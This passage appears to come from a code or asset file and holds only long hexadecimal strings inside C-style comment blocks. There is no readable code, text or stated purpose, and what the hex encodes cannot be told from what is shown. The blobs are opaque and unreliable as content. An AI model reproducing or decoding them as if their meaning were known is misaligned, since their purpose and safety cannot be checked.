940e692cbb892c7bc280faba5351b87715a3f4f6faf0b9818319955279e42ed2fcc37dc2456ec5768cd95fc59749abe25ddefbfeeb365960f0de83afa60be6554b0846097b8126d8c2c53936e22b425ce72ea1e099ab6989a18a4d3b95b6fe79627bbe13be7a189fad9e66a359b90eecd35a3d3f8f9b049402d0d466223832c6237d4e5eda5e7754cb409cef7a863904a478bcfbdbc4b555ce35072d3db1e09a0e560663757f76b3856cae265d745c7ec16f0ff336d8081e5b8c18bf3c458f6500794cbea44374ece3147dcaec5a8159ab4222f6e157c9a2956382b4f6a3101933065af3ec85d0c27ef0b11d4c44b38aefd5e61ff7787825fa124d2478abb36b53b5137253e50780ab5408a058e8d743ef87fd6203842216699f987f4c5d90c42536e564879007dab82a1b728eeb065c5ca7262ba22db823d8847d2a821c62bdc8111b234fb9b0d4445d9648eb02c11810113656812fe84e6bc307d748e4154511c9efc7b88fedefe51022704eb2ab9c9e493f383566da68f0b405fe0ff8accb5930c5e53007fe3fb6127f67d2a8d508c530b36e31fbde677dc1638a990f9dc5f4e5a27873232d7159ad0e45705c00ad4f1ae4a4b2606e74d94c81573dadeb6c1bf71cd9c13b59659251123d3255f669ae7c738baaca51b1329109d29de0c6e438a2bfe76a03261ebd7171f1ba99a8dde9b52f84f0984021e2a6de4301cb3bb5680865addd2f6a2839c4d6674e159a748b1247e5558f20ae4fc81f7689bd479e468fae9f5210c361476d3c9d6e834d026db404ee20b3b3e544905bfc4b9a025b837a90c5952b76e9cf00aac9f09e54e4e90de7d36562e8a9367e618ab3f8ef33fe3375c7701551785d0d3827a24117c828606150ae703c9019dc8d67c7ff9d9251d5a6dc5c904788754238a151751e9cb0747497a4b2ebc8e82894f502438f0ddba010199889818cf5248d745654701467dd2a5e2839a35942162ff0ee2d58d61dbeed0e583df9335d3ea8a8e239f4dd8f8a53d19e62469dc5a03a325bfdfa0cd7775c480ffd1c247e15efbe0b5b30fbd52cde0902f8da7a9f4cff97c96cadfb2137d8e677ea82a97227e508aefe2be9204a2c792223d3e746dbfa79d0e0b6f12e66e0e05b849720cced3edf84e1b216a3083ffd32d31e485704888b6a58e74be9526844576f6cdfd008a9b3a798244eacedad6c89f59c0a83e3ecf6a231d5bf9c2ae41611f4e3d33deff7e89ae264d7086d49829b26378f4bb5e643be93e89be775e9512bbf4fc3673ad27986a371c6d3564301e0dd1fcb217e1d7cf06e7889af296f3cffbec00ab8c66b35c471b352d7ac58cbd1ebd6c52786918c7ceaa43d7bf498be94feacf42dbc1a6df624c1754c5fad34bfdddfece94a78e0f67e6a1178326aa0de5c2579403e85c22b067fb3d1df0459b37f2e507a4c7a0681fb4884c1b3dcf18df3bd840c29d8179b677cce5fa2c2568d9207b2b46301da7996a503117bb651c594da82145b1ab03ca210051f1dc2ab2432b8e7965bf017f19ede6e51f3d7f48aad38c2235620c9bb8a7887d9a2a90de9d9dd1dd015d0436096ae3723c5deef41682ca9009c9853fa1fc5a18cc525233d350d015e174f212c1159e404abf5c00f174637159ba5aacc0fd9e9c94bb81431c1d0eb3966324c6bf43d07cc11d1e3e722d88cf60e455451b58fb530da8e6500173b952b128c6cf45457ba79d7a4f12f3eeea2f43d9a6f8f5279deef5e8dd8fe5687fefbe17c0b795c9a3cd006587d3ef7ff30fbfd6e4c455c62615947701adfddaaf2bd842d834594b788cb506bdbcf3aa577dd5a6417c68a826bd0aacb31d9783adad0672d1c65caa318173f7b9582202e718e0ecea4673866dce2af8f4221054f0588814e660f0fe578e1b74c291cc2a71b89fc0e34afc28b49edd5168d855f60dd2463a5752ecf65357c5e06ea4094f24f536af0f1404b1337328b2a2c68aaaa78b8961eb54910dac7c5662d1842d327e0eaa56050b4a324ad1f91af3b42265a8d9ddac80a1ffa066f87297635663f1ee9184de28a64aa7ec52bd7d534908ecf2aa07321fb9752577ac672774f1a7f6726437b2b5c6f0763ae187c669a7372f6bd0cd26f3a2cdca5a14db8629eb786cd75d7acc28a02a26e653990793bd34f8fcfe6676185cc83605d726ce9a680b6e1c947f8cc7b060029e12fab4fd0a19533d3116e0712e35100bdb8162655fa3250d42a8ba9f54404bcebe8516291dfc3c34ef69a00b08ec0a20eee6eee7a86d40d55f0f068d342babdf*/
/*0194d0b4208687b6ab3f3ea4ea0417ca027cf432d32235697ec96a71c50ee892447aab1fdb1eb3b648e48b22486ab692a89013391737638806dee963bcc1a884d5bb094ccb33a3722811b19a8d30be2aab538025da974889a7324111857c3eaeb8119b28242bff217218819aad5a731de1e14dfcc1c6d40de0913b812bd080903fdf645f8ff16d85c4dc461e515c298c29aa89101ef629e6f331c5b533a1d681b68a5fd4c59b0e21160a011041b93f70e7693f6f19216b91805115823cabb248912a4364bc9bbe5a350597f552146cdad11955534219a050dd3b3183e38810287b7733bae3d3f28dafd4f5e0728747e109b2a1ea98b378c80348481a1bc4be53e8c5c7be9a54089dc1443edcd0e598be174a6db70583fe4bed7949ce137a9040a802ad7515c07b5893ffdf9d15039a5d6470c9bc93c2844beff62447aa1ddba37a80b0ad3eb9914844f6e94f8027330fd140308c339b81acbfc9aaa90616d84d2efdca7070cace3f852732cb168992ca005429c9fd3eef4b37ca09bf6cf79eb459c2d8f326aba308c1328b1c83e399225f4f17a4ae27dd6b242f7a75f76a142f73f7337cd62e24c0170699efa1d08661652c388c28da0b8acc9eb3266ff47e62b64601c51e58129c41deb08578c704f7e22040361c37c203d74aeef841ee7b72bffb05cc56e5f83458b9188fb2c7256ae3a541d6301279c491cebea055a0c3c8a497af6b1e45b5b5279af1a145cb14d2a092080aac860cf9895bcf531d4cf76e93eafadc50f1748c06dd32893606adacc367732c9e6d7f4cb2f708e222f95c94f56aa8e8a926c1158025f4d1f3c38c9b9780c04fd96a88e9748820a8c0c5db663f28cb8a852c37b47958c8015fa6dee3f65384b8a8fee1a11c6c33cb015fa97f9b350627eb4df89e32535ccf013681d7fcc4bf224436400a2c3bed9d7e552ee3138555e8abac31bae0f557cca648d27599d1179da50990f41b8affbe4064863c0bf89980ebca2c146b960ee88681da2cf684505f0fa30ba0d49001ef18b0ab0190747bced409b8451849b47688f90143b75e6f81994bc0cf9d65d2bfd8f66ac7d34e3050a4e07406fa88ba223914bcc49f237b85b887746618aaa623edc1f059c4f619c721a4bb72c9db4bcbe2c2bc6cbe3e656b0ca2864d4b69105b33ef0f946eff9820028633b154f5f07bc7988136c7d7ab09b902419a1e5624c008cd8470edd90cd765281dd071ff8b6f706e39416ca880c4eaf2cfc97a30cbdeb345b67bad3c05f290f8b5f816486581c54109509234db0fea5a950cadb684314d4591ec5b83208dfc1c9fe7ab02bfcbcc4267b4cf22bedf53cdd7ddfb6459d53e3de33379754f52487177a34999d5301a631140bf5e42981a0aa633c9f3898a25c3f6069ca836391d413ba030cf8ca84114491412d4348506e04251f42f1a3f0f31bc5fa739f1fa91e2f3b515ed7230eb3d1751f1cdf3acee298aec780f4067c2057382e8c7ee3e825166015b984953e51576486fd5a31b03eb6fd9bf6195e673347abb6fea3d7884d2c04175014460286dc5b98b15720228dc813c9a8925cf21c33f476b2aebfba3e50f0b46348fdcf9ec2e9eaf6bb06005916e75caf42461dd84bbc3ba15fa5fb674360f6cf262e85a648953a7e45be99d2e84db2bd5c243af434d6ee2c52c1db7f4fd91a2fb3803ffd3dea1674df60bf97786168bf3906c57aa778a2fe27bd79cfe448221e1a5a2fc7dc0c19175e8936d5be3c69fe77be827474fa76476940f0d60eecc5ed92a8e6d418088442602c5480abe607284b6a4d0da0f20d7e46f4e1be17119f89f64b1d933c6d9c622f7906e9bc8ff5e7eb9d18ebafae5f740fc84a939da90b75e97742ca5c43910ab01c7919c375e68c86324be85bc6191996ff4e3e7889c7990cda95e9edfc66f4919ef7915d1f769c4010ef577c6da5ec19cc0139dc5387855a6bb81a886321240bf93a253e4dbe239506e178b7cab1bed971bba71ebb1bce4f638e922f4ca07044dee11f3a4a23d22988cad1a9eb5ac123668ecbea1a3e685233c33bea7dac906442c54ba00ab437ed52aff20ca044634b327057b6b23d98ad62ef387f86e3ddf021d7197ce23c472a4d666aea57f3bfb17657491d496e82a915bd805d5b1c1900d87f763a17cb0423705003aea1adb5a14e023f8b6f73f654b373d4cf12c307d78f11a02e3a42a78dd834c462db98b4c5a564a8b60ad2824aed7a73c5566dc39708acc35c07647774082987486818baea61eaad04e78d0930bc84a3101a566e6385b62632928b455315886aa451c4ed629bdc73342afe2245ce57f0a447a73523205c25935df71981d58caea7fc2f5ef1ab241be5a627e2942dfb9be81f6699f754e235a28a95bf696c147765385a29bf070a4b97e0ee358579c6b05098e706db002c398ffd1d54fd60bd2a66d69633a239fea8a33bd1b12bd0ba8d22fda261a80c4b5519cb7c8fd6c163bb8eea98836d977e32c52054f41ae1f74f97a3765ce7d4de3906bf47794316b0bc8e66bd88ae29ca096ceda9f52e16e3c4f57d706da35a5a50c1650a4bd0baa50283b22d99a94ba500f0284fb8c878b68f6288051d81be5b503433f6d9e0a74ebcb3b841a2d59088cc738a6d20a7834545a00bb9a95a249617a618c419fbf2d6ad0d580cfe0c6058a043601c529992d56c49d390013828754223af63e7a92648e751437256a305767db45e05fce3e2b069ea26d4e4c8f474a55822c392740ccc7d5509b4d8b070ae06f87a05e0c6c907cac4b1a21bf1474558594491c696c22fd8ed60fb30a7e1bb28152eca8afba1ed99f9583*/
/*032256ccbe6c041ec91367cb3eaf5ed869d8786d4442e6ba59588192e922b09495f0e159bec6a852230e4e081d2911ba7ff2a7af18ba324f48e578a8bdd0c920acc257db545208b1c358841a7007e8db6ef66dd256861b9a8264366d630d0461c296c5ccb3a9cdf2d3d23171af60ed0363c542285a852713a9d7beeea48b03fcab334a5698e665c3ddbc04673e84dccc2a6b0a2f9ba76b7b85d1c5144a02f8aeb07b9b66008b9b0cefcbd1e59e22a6b1878d3e437cb85827350f3990b0b2833f38adc28f56ec32ec7eb07904e4eb1db6372885ca5773c48b36256fe5a73fb420bab2166e4cba2c328b7b17fd6be14d464a28c15ce940e7910c5c085525a9672cdb532cfabe3caff8288cd65fdaebd5c8f5ee5d3028e014a0397a943d5ef05f7e7ea9e12fa69dedff9ab329b24a308392eeb53e6f8dcac887348734cc3c73d2a93f9dd62e2e09923da7b717c72ec3abd5de9795bb898055eec0e3add7f33d9b5971569ca176f08308ea17274f11d9e91c59c76310ef067b7db691d3a16e173a0bd9f0be8a3cae6763fcfcfb3ef0f2a8c0d2758f066c99604c869e66807a0c4ee6cf60125f666ebb0f7784387c93f35d0bba39ad98b8f641d3692c3cedc2618a2b65d4c154f8080d7da4f7e66bbc3f73402a09143b1dc9309caa76c3a3e60447b4214e3c7c8239d5ad02352b4651a7e2d8afde05f9088a2c9c2818038d2f2806550ad7bc412ae673d74708a520ecb4e1909e0822995a3b88ea85d71352fe207ad0072c183d76178200e0deb7f9b4b95b2f2d4a3ef645de0e75fd222581ea431a9e17ba22b5e78eaa38d30a2c5250bb691c469aeb983b132b00ec42886a76ff7f92ce208f122f53fe05fb7b2a8e2af8f238bccf4c5b52e9828ed66211c2f29b5b6ace1a60e506e05f1b03f1012ff553d1c8f794094b62099c1293eb0ca3e79a40374f382b052c1233762ab4b454df4a35c6fdb7217a8831d16da538294f670c385266b22c7b42f87b149634fb8d1aa71f56a3ec58d2b8108c579edd8ae7877c3c1630b292b325b7eb78533030132037428673b793b1717f71c42b1f491667e865a41f7045f15709349e23544cc449ecccf61ad6402ccca5780b4634795ca8cbc56755ce80cca630327ec6faf26c489abbc33c6057ffa7eb234f92f3343a096d72c954f1e8c18d6c9117dd1cfe1d631a559de087a862f26dbab629a794adb5926df3277a15549c847e5cc631869ce84968fde675f6115b4e5c5a09b058aa4453fd639e7fbce90103097c4ba68e1c192884ac748e7845e508a5472c8b14eaf194c5028113ac8e8e0e95fcab8c5dd2c3c7d27fd2305871d41bfbc9d79beee26c7162a0883e052c3f1fb846a63ece00d4fc5c24654a68c02319c87966b09a623b0b77dfb8bbfc5236e790b07257e73a973f93860701e7d00c6e92af5b11fd31a55e172ff6394c20d26d95dfccfd41303617583a7ad8c19426bd9ca38d0404b1d85a93b9909c9f49ac97efa4f6a4590b776353f8b7c2626655d6474a74177b3347632884c86b12a2ac2fca9e8e96c5b204be4ee011b3e8bf1893108c6bd7333b01a7807dd9a19473eb9895ea5dadb53428f640e0f7288f301318f28098ea85e402d230902a77305d52b7b65f0d10b0f70819caab60349be8103ec501773379531dc292ed6d53b7f4ab37891ef8b2e6a5afc87206ebec571c5171468649d64a0a81f7e76a60eff5d93824d633ed6612fa265dd7944b3640654e0a6a701a482df162bee1647c16222622ac6e14cbcec471b943b0c1fcb87c24e25cd7afc261791ea72bc8698a08159172d306572166b5586a1049eb0613e749e62a9b5410b4e0d629c4a76ca6cad8a9f0ecb5c5fcde6bd45f50a78fbaf210717f23545a5577fc5e40c8ab54a01e026181123b05221055ef11c1b267e72c58f05b449a5375ca8322868c00f976541e39eb127958e5826574db35d8ca6ec0ed120d0ee7ed14283bfa1561943e473f06e749102a1cca444f8c1fb0b7a99100d9b64008443a2b955a00920b0a460a0d0db69b0ae68df4f32c2a7e904fa0dd4ee59050898ae769af26b7160473b65dfc4775b50fda17bc3d28d05f625917893ead5f42020c0803b5b0a13ef2a90128a7b6d29ab9eeebe8908be6f9e373765b84312ba029d7dc9becc177810314d1c16c63dfbc129fc49f31da70bec160c7a881d476c72fed135c9f991ce8d132eee1c71aa5d0e7fd5bc1903c5ce9491cf26b4e342ea4f1088c773c355324c99d34f1dd4c947aa8da7b8fd160dff9d274576106d2934b7f1e33029955cb340a3122758e8767274989f528dc2782989eaaa0c0394ea40a6c27658302873d4e51c8730b6fedb83c0fac43c7c9d679725ecf8a4c3a99722ad50e5a2d5f6ae66c98afc02333d0f4ad88eafd38da6cd451cc5176beaec8b289d323aebfac01b9467234ab7f58f9624406617f700e7fbb07c3ee3a535c7529a7dbf23f79731e79e506b80c67ab9083c88354eafd3f1be62c0b8c453cb074ede4bc6c9cd5631bd58fd7255e0ed4d071763444f09a70aa4675462b2a1ac2238f36935325c4dcaeee9a7540faa9301431cdb837dd83a584b33f0c7210c67af749849648b55a010aec69a675ef59ec8acb5c509247ddfd82c983b68fc8ea2fbc1eee5f90cfd752a97795fa4acc667736e2529e825a640ab29610c6a17a92bd2142070b478b433054b8cb68c63073d5a9fb17230d572576c34b248b9c4c1c61d44b3c5df38a918a9fb29869846e8ed38941b487da3ecf3f9d5df57715bf7f19555ce96aa0924392f7e677c0f470aaf1323ef94d840e3f0a5da33f4c29f9*/
/*60707284322d930ab86f4eb6923c5138bf7d42068ab4c87e1f41503f6081c66168b2fa6aa40391370b3d600c28ed11ab420e03db4c3d7ebad43a24d596b4ef919b10c13d009d85b489f2921448912cd960a11fa3b8526827a35efa23dba2e4de857764c3f1a8de15341c9d087068294dfa0492270ab16ec891be100a75b8809068a143e88ff7d12969dbf00eb9e10cde4dcaa08298665b0efab0e5fd93b762f991d9787806646673052aaf67d4551032b7edbf86fbfe73581e91c31866db63ea43e717c711eff6ec7bcdb3e445f3e16af6f7da48c30e98a8a8b94a0cf6804fe7fdd900d1788fcee83619da34812a222e570813834a34a82813851c5a7f77cff512d658bdf1bc398961f2c151673336055b39ca6fd17a0649a528855bc62837ac68cda342d211fed7ad2dff0559b30eb56a61fe517e166cb59db8ab3045f52059556f49bb37bf74b8533c3e2005b3c1e12d61bf0a70b47a5a96179be65388a584bdd96af8c60a8b38081ca77b197b1d3ec9205492c4ab4f53b0ff2b61282208c8bcac4d953773c3f4e87b98e0033351519e32458c044e3e04b32be8200133c75321375a9ec20304006543fe50759761316c9cd4246525a797de42bfe5ec7853155ef124f0c7460c54846eaa0e398e59c6ef8dc84f517eaa79e944f996881271a5a875610757a1be50ce2af907e8b185661c97d1d50ba451c71210f7449bec06b1da9d638326ae74a16edcaf3ad8c37baf04633a51301aa42d8b8b65076bdac946fae0260b1cdbe97524b5867dc14627b6441c26e19ef2ac887e74cebb0d78266117a8723336cfa7a45d72432c717f060ffa6cbb9adbd2f2f255d8096e0048dbee744719c51fe1e0d5b9400b0924b3a1ffd4ec146261bad993628022c83b2522a5033ba9521ce864eca0b705936bac6d97d4b91f0cc5fd31187c0e1c0089de26160d6e1d7adc0059800c63e6c741930f69467fdd93fe777a5a764208e6ecc994f7e6371bdba88b047669eda09bc744914953a8c6f2c54bae3860c948e5ad3e3698a14dbc39cbb1e1b6c94f459354eae1e8c25edfb6cc1d3324aa25ba507157ef4900de973defdba503dc3366e667e9d460b3ec2d5d78b51019c57191855df198f8d2dcd01865e8fe60c207a5a897b5b3a4d79a77438660e2864986f13015ff80fb20a61941b3ed3ab4bc548cb6a23db527a544b4f02e0986ecef2089cc28f58ddf3e89e37ea4ff109e8457279033446792cd91db806e99f8d63904a7c9f9f27999886213294c54cc36dfcf3fa73acc1e9475be47363d73d8b334d4006178534c9059c272f2ce6cfde32757681857881bb827c2b1f7da641abb94db75c52c5115041058a8fcd346f00809622f1bb7d2e52bf8417b15d29382584548d71268be55cbe7e03e9a0e185acbdc97403154ca3f54018c5cd0082e998726b944ef2f7f65a8030f7da91e938bfe206dbb79e579597002789126346564b832c262064a151d95f554d7fbb0ada1104f8c917b549c194b7eb255b92298ab2fc02cba3209d90ce93de973121db7c485240ca358e3cc9bbe73f7194240b5aa6cde4cefd8d5d3340d8dacb207b565cc0feeb978dd7cd5bb1399c5917ef7a76544962f7e7881f4157053a7dc0b77beed2c59ed4da36f83085a6a0b55214baae3706c9ba9cdc506f8e379add2f01bab173b69cb4519c5e0860d0a4a04e4ef4fb8c1a5a5444752685672fe02abf355884ef921879a1fe127ded2e98c3aa465411e20cce3d912ddc9fb068482e75a29a399aae36471332a7c26e1cb7772672c01a5057a5d19907d2208e66900f2bfa4e1951541751679d5b810a14210f188682260eb70b9d1365ff32f4a096df364ca9c8589278479897afd96bfa9aca8bdcb3a7dc7aa2ed08c6b94b47fc6a69565675799476a43e05890eecaf12bfee184b48129cfb5058131dea7e41cccd30c46f102996acbaa6cc7f51b83304993781468c65ecde21a8727aaac5c91d348aba69aa2c05ce892b80ad52ec4fbfb6772537051e138bf5a52e6eb48d758bda9256b80003830c16c29e64e6f618437cac8c4d243dd6f1f0ac9334084b1212241381548feca5c07098742c6d5d57716dc1436cab8b81291b7c191cac4cbdbaedf7ca0b4affafc9427f7c3c0b08b9d4f792bcbf5ab58232515b0acf742561191989ec2a8dcb4f0bcb354b5dc257aa6a6af8134ec712a2b5884dbe6ce625fbdc64a51a76abf5fed177ed614f7931e9858d4219668f8779e365cc554f3fee0a879caa2d205f406c4527fcae45634efb90f2c9d835a50dbd4c69daaf7b4bc1475aa50d1fab192116eb67ef3628abc058754a965a91a9d82124095a7c462fbf7f2538d781b77428298641bb4f54a239ebf6bd1c6536996f378cd1bfb4a7afc0f777f79990202b27e42eaef44f2f697321b867e68c1ef3a33998164a34b1eb7a43a6dbec9309ee73ae39c183a85c58dff964b1971d688c62fd84a984e3261b6127717899139d1a2ce89d570baba863f437033d35637f1b40c6dc4c039affea8a1257dc3f736c11d1598479e5c42a734a4f682ec5a1fe824acce0f51e9aada573d2497d1d8384e524a6e9617fa768dee542ba955e85077c1ca167a8ee1d4c333c5db81df18281f6b44fa2f002caf7b7aa8c5b72212f1fa5a679f0f9e7f183bae152931c7b5061247d955906c865731f741a0248082ef3241f2d5bac96bfffb2d3d7a8b66cb0729e83edccf85f9305d6a7d53a18331addef89046e7a37e93b2ff83b88988404073df48989ee81ca525919a5bd3c38694a8dbc2a1275d854b370df180aeb549b29daf51ec9e8da7412e4009ef*/
/*d614584f22ee977d667425285c10e3268558e28b6727c9918014a5fbe1b424d5176c01c5cb3897eb32176da48a2d67edeef595cc7b72f9cd30d44ea93c102d7a73f4b30caaefa8a89b08f5b9aa2efb0221dc358c36b808830ada956b46ef55d82516b8cf5a3719453fb0f36e7572fb28422bc26e83baf14a54aec129bcce9671210bae2502e5fa582cfd3e937e1568d893eca67b6e3adcb3b9981f203628be5c09256213e351e8f2d83c59bab985003f8ac2e058f71815c0018a51b81b2710a7cd2c66f3d8fd64407494a0bf40d6c6e01b7c0d6da706d567634067e54f6106d56a77837b8a50725fdf1f5b892421c3105ac9293818aa5104fae2bbfd1bedcc17d9ef22807b1d290c00ad460dfbbcb1e59b9a890f9e391ee97fd70a370cc7a54d834825ab3ca4497fa0be5ce5e58202b1ae6a2d9c4b9e5237823fc23033cb35c7faf9bb3b973b8895bb6b72dc8c60d41dade9f17e499842e53983004dbb4be5be72cc3831aa463a7f9e25f8183329d78cce2d251756f6d4bee93950c6dce660008ef3d3e8582266fa6f2ba71b3efd494054494b076c718bb729a1986810bdc99c210ef30a7efcfba02fddaf10466f5d1c416511fb523a9aad61afb6a70d5cf57aba9e7f1a96851d5cf35833c0ed55ed04d600a061d7b508e75f66ba67ba13d671834730493fb4ca59ebee23728a912826152771bc3cbc4076cc2eb8a238688e0cb3e371c30f682f50523db8316c8bd579ab77737e3ebbcd62f25614a4149ae3c8c73a3125e65933a634922a8931a35793fe6db82038b44c793c45e620e4c9978f9d3c6a84ddf013af48b6de9fc941fbf942ab0799146ec0041647589ebdf9d74ec4e05c530fdb732f678a745ba5f73c27df927d5f28d5ba0bfc89cf2a8766244e5cfbce5a08d0519e1cebd209f3662efb3496619c37a368e8354209eec8559ec4245d7515c0056d6481c80866430f98ed8cc4cc41f8b6b10cbff74b2fc16d77be50f37ed9726da6730e594c105691b2204b4b01e4d767ed419c1e6151f1387d08eb793a588edf195dd1b1ea1f3b894b4bbcb89ae3c991a58681fe89aef4d8e1fcb297fe720a722b8ec83db0e18432aaf727520b5ee0800634085f46c212e999d8e2938c4995e9738f6af5412635be6c1f094386050d6830f8464f4b5280221832f75310c3c992178e2a3b17d6f9b78d95f6d565f8b3fa18e3f192227ed614fd749633b653b019b6277a73ebcfb149c83e0c2791168947b4039e18f2573aa09203873666e6816641a9fd621383f95166456af959f1097ae3f3697dfde303879136160ca20ccff290d8f432f5653ba2f5e1ff6203318df6c82f7470aafa10a571fc17a424c621540ee6b841dd48da35f25780119d8887c4e8113265702c03b0dc81fe798405dfd4ed9e2cc028aa9390bf1416dd36a28489a6ace8bfda5cf31fb397ce1fb76e4fa286a181a92c24865ff9f0cca3f0197839c55767ba57ab4165398a34a9c04449486956eaee65cdf87b88a0ebd94c0e6f16a60993df81390cefe2849cc46be0796fc0c758f7eb151eb320bcdc3ecccd646c6723a3c22039ecbfe95315175c7ddb00ceef748282bfd3bb3fbab2448adfbf1a832771df488d0c19bcbc662b6202993390ac82a3052d0613035e3584eb230d39175a4eb73dc6e23865def9208e7f8d2e32b6b38ae0c5e87cc49c640131694732487ee9d2f2f0d1e3fcc9a7d99e58b501d61b231245e22f4403b93c41bd9bff61206946a5973117041b019b60198bf52141f99fd40073789ced39e1ef5decc38651f52785d1822864659b0252461db609bcd54995b102d87dda04551226e3a9a6628cd6e5287c986cf8da82540953a5deba26de08e3a6bac662afc740de99b79fc96b37a4efb5c19206ec17562c3d2e8c2fed6a00cad1c789b11eb6d4ab42321a44e294549397071595dcd40dfd4892f80bbb75b140288d5b760be37043213037711785e2eb68021484f25c909e59ed77925ec580c830b9b07a131837d5a71ace0f4a70c4302e21195420d6266b01ae0e9c3aae15779b42b46decea1fc9e6b9676d36f43fb043e892b0375d6afc9af092d1744d5fc626ad23c91344351b478cb4613a956965d7595e8d9d86bf639b4f7dac8730942a2632aa566f489af52e32b9c95f3c49d44684824021f08cc99fb4d63c390f244b5384de866558536258d86a55d5157693ac207b49a3650e4dfd40b7bc3bcad5dfceb54e4daf2ffe94f3106bab3fce936656c59307a208c1d883babafda9f886e2015310e9aba644dd5f6acdcca3224f11da4cadbecd63b58507c0bea609dc14f70576fce9e82fdb86cf72a69d03489dece9963550ea33f6a4073facb48cdd56eba0f906b5e2f22dbcc0fc1cf542da076d679bdf60be3de119d9c39e37f0c4905b5bfaa56dc38b46dde305f897f3a2b0c4d8a94b7fdf94fefae3f7b8b5e8011f5c7e52da6cc12555e02ac21b1c37581f4087743c0496a0d5bd7c1808b0c620fb33f47aed2e0f13854d69eb1c20606db630218556f46acb9074fef90ba8c162fcf75f601c3fc057c572057cf4a5c535ad46edaf41144e93a95d9dd2f8c5d56fe099f359537b2b5f5f0dc4a13eb53ecd06c2efa07098ed19967d94205420d6a88adac5487f8e548c72c54802cb2e415638944c97452621e68d14722f773871fe3f5a4e3f129b51ceaa3a1585c30ff471f6d4c772e033c86a232a2a9a41f749442d96940e0d21661beca15d535aa72e70d8677e3f369dbb4f015ebd1732dbf1e5bf0279eb404054ce60d065a801ffa6d3e9cb9ba0f63ed070f13e4b03d4d364072ce73aa19ef852*/
/*ef976273c8f00356a341eb5464132a9e53bbf761a020c338fc0ce4a056d9606c38abb1ad8a434cb46914b7561e3b6362d47c680e885622a7d3dab3fa219cd8f45bc5f5f06a466d58305f2343e1f947a7a1b6da2a28da17fb572d83099b2095e75ae19a2a7ef8b6b1c14088d47227e1c020ba4ea62ce1b42991515feeafa4a019342de024ecba12a18be537e82d9b598eb78b2c83d72585668833956efbfa76e4e62b4107297b9af535166c2e81dad960c88c1c198ee4abb5777d4b42f885af3fc86cd88fc079da6a5941b55d7f069a946f373dc4a81bb8a9064d27b261adabf27bb54162e0971041e785923e294547fa7c2120adb0f75253e1e3284a912761f5b4b4c2d5091f3cf0d8e72ec6bb961eef5950f9e0fe3337cdccdccea45cf4635b59192b2874af9f27f14b308ec4a70168d3b8a075814ef03afd760c10a85ff59487eb24e59b5b12ef228e8ffffaa130981e60131a91f4701fe032e0e24105b6a72dc8f730f60fe4dcb0c628c4ec38a5e29dbe69bf0278f82d464ed3d748a5fb2c742cae35be36271fd97030a424792eab886556584da44682899f2235295d98890c47e8a0b0a40c040858675b97311f98b0d2619f6f67dea80fb6d42da705ddfc8aa50c76e72502cec05d979ef61f3056944217c4f4e4deeff6a97b809c01603739894d46f29cc624cb70246173666b861a29384df470b1e68885102e580b0a544919151d363475380c09eb1e1618d4d5d340b36ef25ea4701177b0fb984749d9d8c6c62c8d82dde4dd4a1b890f65cd341696f037acc35ae9175ece36fcfe82c5772f1524e563d5f5c88735f2b19ae93bff4b639a15c4d97bac67886ae96e4cc1f5e05736feb15c1065e3c24d3c094d35aca569b04f097fc44022ea19eb271f12b9e6a77353736bf413145a36b4d202cdb2247630a41654bb8b85c2efee309aa1d816e2b1d5acbc5b289add1ffbdadbeeab0d8ab6d9fb1dd30b349fa38f750717591ec24e7110e43e85df82fed177dcbb991f0a519f11c1360db4bc5157f48a89a33d7448190ef24fdf6446fa3645a8335277eafeeb11c277365d749ecf0aa6ddc9d3f0344aef128907d5191c94e67211729bd3640330b69d1caeba27076671524303107e998bf64cf3a5d6066d4656f015cab293715bfe3da11503560c70bcb7d340a7c879fb8e7f25338f6423b8bc7ebfe07e01e676a78b83965cc0f7f493421d1db30918f8432d1937c4e15541571036f058c07c4ca3eb02d5b80439ad6e99fea3617aa80f4470a22296615ce8efeb4f2122dd76617db75c93a0fbe1ba7f446904333f400a6a89af85fa9b1d7f531626c7697091b40bf0051f06400c7de2455d4c3c97bae39445e815c2557c228934d1c59fa1c28f04a1c263159b929256b62c41ee317a32d6adb1afaaeda6f71fa5d4b4f09e832d380ee457c7f22ded762432614690c676fe2717621d0b014def233c0015a9d6bec54d3f75d5953f3307d9d4693e72c8520e030891473cf38f5893e323b6f62435f234e4ce9bbb9b1df94a364d38444f053de58311746395779af218bcdc53a3a8ef682bc1b4b9f1a9fde134ce295a97739d4d05e26cce6f555d8a41546deb3efc502fb01084206aa53282c479fc6ae54cbbcadc840353ad9d7513a0d7570fab496db3afcf9ac971e2a41ce3cbf9bd7179e582715b5d506d8b08f54e4c09c64d99ff6b1eb89e3be5c693b4028f2091de99fd0918d20a0042eaecf28e1cbe37dd3876fb9f7a816b798f3f9c4a60a2d3f6a9b4989ca4489c5ddec3c5a9c66191eea72f6154f627e79c5cd7665de6c3a69753c9266d636ec8e89d05dd2e2c9ae501efce7615791c2d36578f1542dd94abb753b24e3c3af3f970431257d47f85b2f7e74e2e8dea8c9695f4c178fbd9a8bd5d70c1f45c0501ed920284e3d563f8be7c84d33fda90a887734974b96bbbe31bab41fbab5395afeb1d5882dff2c44dcc6a7ad173161be80248bb9453a0f037d363ec24b450a07537a7349650c7098c10e5fa81ec6b8a6ec73a57ff72af4f689fd2809c5359b0943e2264a04995050f0179b703d09adbe1088c231cddfcbd308ad2d4d77ae2fb283d670ac9c0177141e323b9c0e76a0f4d51771fab847a3387b452bd8a15afe73e6836a9a2244f16527b16cf15472113b3f77c97a19b8d09f10c30fd536df0aadd4cbcdae0096ea8011e2a7e0872570de38a0d3ce179f13ec571b383b17553345cbcafa4a00f316b221ac228bc5c581e487b754af8756318e9cd3248b6d00065926b1ef121eb9dbe246ebb5be626088b9ac212a86ccd90b38f871cea7b476ccc6e1d697c1b45100325c50517a191a567c16355584e590e0f5fa7bc07eb5344487019e5b98512679d0cb2dfaeeaab630ba49ec9e7386700aaa55ebaf9efe2bf773b699444aad60fce37f952078600ab70e510603ecedc871e03d072357dd9fe2bef23750eef09cb0ccea3fb741940294c408d5c79ad60c9a52a4d0db0e0f5f3e25ab6f63f6e93921ca601f1fe59ea1b4fbea4be73328f8dee6fbb9319534c34fdaae3abf604dd5c9d0ce73a8a7420ea718dd61a444eb66a3adfbab5148f9e4676157bc993a9985f9bb9fef28e0ac84874b8b8d18d668cc8455049362c1c84c149c4853b1d430e917fc8a38d9437173ad5c0c96ee60c801e732304b175b47c8193f66621bbbdd5aef63b952e75ec30c8214a79ffc0491b8792bcd62fecacfe8f1059968e4434366aca7c25abc7c6d8047b4a6766304be79bdedac0aee04c125dd305eb537c7502efc88979bf4e1557d0bc4a0961ea2fd270a75965b1ecc8c9f8982f869015f1d6*/
